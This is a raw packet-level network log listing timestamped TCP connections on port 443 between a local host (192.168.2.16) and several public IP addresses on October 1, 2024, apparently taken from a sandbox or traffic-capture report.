Oct 1, 2024 15:08:27.362010002 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.362602949 CEST	49779	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.362621069 CEST	443	49779	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.362720013 CEST	49779	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.362936020 CEST	49779	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.362946987 CEST	443	49779	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.364680052 CEST	443	49768	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.365003109 CEST	443	49768	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.365067959 CEST	49768	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.365220070 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.365418911 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.365434885 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.365540981 CEST	49768	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.365556955 CEST	443	49768	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.365557909 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.366105080 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.366123915 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.366871119 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.366945982 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.367530107 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.367609024 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.368226051 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.368313074 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.368359089 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.368495941 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.368619919 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.368628979 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.368685007 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.368693113 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.369879007 CEST	49780	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.369903088 CEST	443	49780	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.369992018 CEST	49780	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.370198011 CEST	49780	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.370209932 CEST	443	49780	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.374917984 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.375123978 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.375149965 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.376617908 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.376684904 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.377021074 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.377104044 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.377223969 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.377232075 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.383378029 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.383646965 CEST	49766	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:27.383658886 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.384073973 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.384500980 CEST	49766	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:27.384572983 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.384645939 CEST	49766	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:27.409615993 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.410027981 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.410078049 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.410079956 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.410110950 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.410470963 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.410825014 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.410897017 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.411048889 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.426052094 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.431401014 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.455399990 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.462979078 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.463500977 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.463582993 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.464092016 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.464112043 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.467292070 CEST	49781	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.467344046 CEST	443	49781	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.467442989 CEST	49781	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.467844009 CEST	49781	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.467860937 CEST	443	49781	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.626323938 CEST	443	49777	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.626727104 CEST	49777	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.626749039 CEST	443	49777	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.627995968 CEST	443	49777	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.628339052 CEST	49777	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.628515959 CEST	443	49777	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.628560066 CEST	49777	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.628560066 CEST	49777	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.628715992 CEST	443	49777	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.634633064 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.634727001 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.634749889 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.634789944 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.634819984 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.634841919 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.634874105 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.634888887 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.634888887 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.634927988 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.650412083 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.650446892 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.650455952 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.650490999 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.650579929 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.650599957 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.650631905 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.650851011 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.650901079 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.650964975 CEST	49766	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:27.650979042 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.650999069 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.651082039 CEST	49766	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:27.652776003 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.652811050 CEST	49766	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:27.652856112 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.653582096 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.653594017 CEST	49766	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:27.653609991 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.653609991 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.653623104 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.653651953 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.653718948 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.653752089 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.653765917 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.653870106 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.653891087 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.653932095 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.653964996 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.656160116 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.656238079 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.657762051 CEST	49782	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:27.657787085 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.657857895 CEST	49782	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:27.658198118 CEST	49782	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:27.658210993 CEST	443	49782	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:27.658337116 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.658353090 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.658361912 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.658399105 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.669411898 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:27.669445038 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:27.669524908 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:27.669739962 CEST	49783	443	192.168.2.16	13.33.187.14
Oct 1, 2024 15:08:27.669753075 CEST	443	49783	13.33.187.14	192.168.2.16
Oct 1, 2024 15:08:27.681010962 CEST	49777	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.721169949 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.721250057 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.721339941 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.721359015 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.721405029 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.721426964 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.723838091 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.723886967 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.723917007 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.723925114 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.723958969 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.723980904 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.790893078 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.791256905 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.791270018 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.792372942 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.792437077 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.792779922 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.792840004 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.792962074 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.792969942 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.806787968 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.806834936 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.806885958 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.806905985 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.806915998 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.806960106 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.808895111 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.808947086 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.809009075 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.809016943 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.809040070 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.809058905 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.810791969 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.810848951 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.810872078 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.810878992 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.810910940 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.810935974 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.840018034 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.889343977 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.889393091 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.889524937 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.889539003 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.889590025 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.892854929 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.892899036 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.892971992 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.892978907 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.893042088 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.893063068 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.893486023 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.893526077 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.893573046 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.893579960 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.893599033 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.893621922 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.894117117 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.894156933 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.894201994 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.894208908 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.894236088 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.894251108 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.894560099 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.894639969 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.894676924 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.894690990 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.894711971 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.894758940 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.894758940 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.894769907 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.894840002 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.894848108 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.895114899 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.895159960 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.895198107 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.895205975 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.895217896 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.895410061 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.895447969 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.895457983 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.895467043 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.895512104 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.898726940 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.898808002 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.898825884 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.898855925 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.898899078 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.899094105 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.899153948 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.899163008 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.899211884 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.902343988 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.907088995 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.907291889 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.907300949 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.950995922 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.977106094 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.977185965 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.977241993 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.977253914 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.977264881 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.977324963 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.977329969 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.977355957 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.977391005 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.977411032 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.977412939 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.977437019 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.977494955 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.977663994 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.977749109 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.977874041 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:27.977890968 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:27.983208895 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.983338118 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.983369112 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.983401060 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.983416080 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.983469009 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.983972073 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.984101057 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.984133005 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.984146118 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.984155893 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.984201908 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.984206915 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.984886885 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.984919071 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.984941006 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.984949112 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.984993935 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.984999895 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.985693932 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.985723972 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.985749006 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.985754013 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.985810041 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.985815048 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.986567974 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.986599922 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.986625910 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.986633062 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.986676931 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.986927986 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.987333059 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.987396955 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.987401962 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:28.001559019 CEST	443	49779	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.001892090 CEST	49779	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.001900911 CEST	443	49779	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.002985001 CEST	443	49779	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.003057003 CEST	49779	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.003393888 CEST	49779	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.003457069 CEST	443	49779	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.003571987 CEST	49779	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.003578901 CEST	443	49779	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.031011105 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:28.036021948 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:28.040838957 CEST	443	49780	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.041119099 CEST	49780	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.041141987 CEST	443	49780	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.042221069 CEST	443	49780	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.042296886 CEST	49780	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.042684078 CEST	49780	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.042746067 CEST	443	49780	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.042846918 CEST	49780	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.042859077 CEST	443	49780	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.046998024 CEST	49779	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.071994066 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:28.072031975 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:28.072067022 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:28.072068930 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:28.072079897 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:28.072129965 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:28.072170019 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:28.072200060 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:28.072237015 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:28.072257042 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:28.072364092 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:28.072400093 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:28.072422028 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:28.072454929 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:28.094995022 CEST	49780	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.345791101 CEST	443	49779	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.345864058 CEST	443	49779	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.345930099 CEST	49779	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.345933914 CEST	443	49780	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.346009970 CEST	443	49780	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.346072912 CEST	49780	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.347064018 CEST	49779	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.347084999 CEST	443	49779	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.347417116 CEST	49780	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:28.347431898 CEST	443	49780	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.347742081 CEST	443	49781	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:28.348045111 CEST	49781	443	192.168.2.16	13.107.246.45
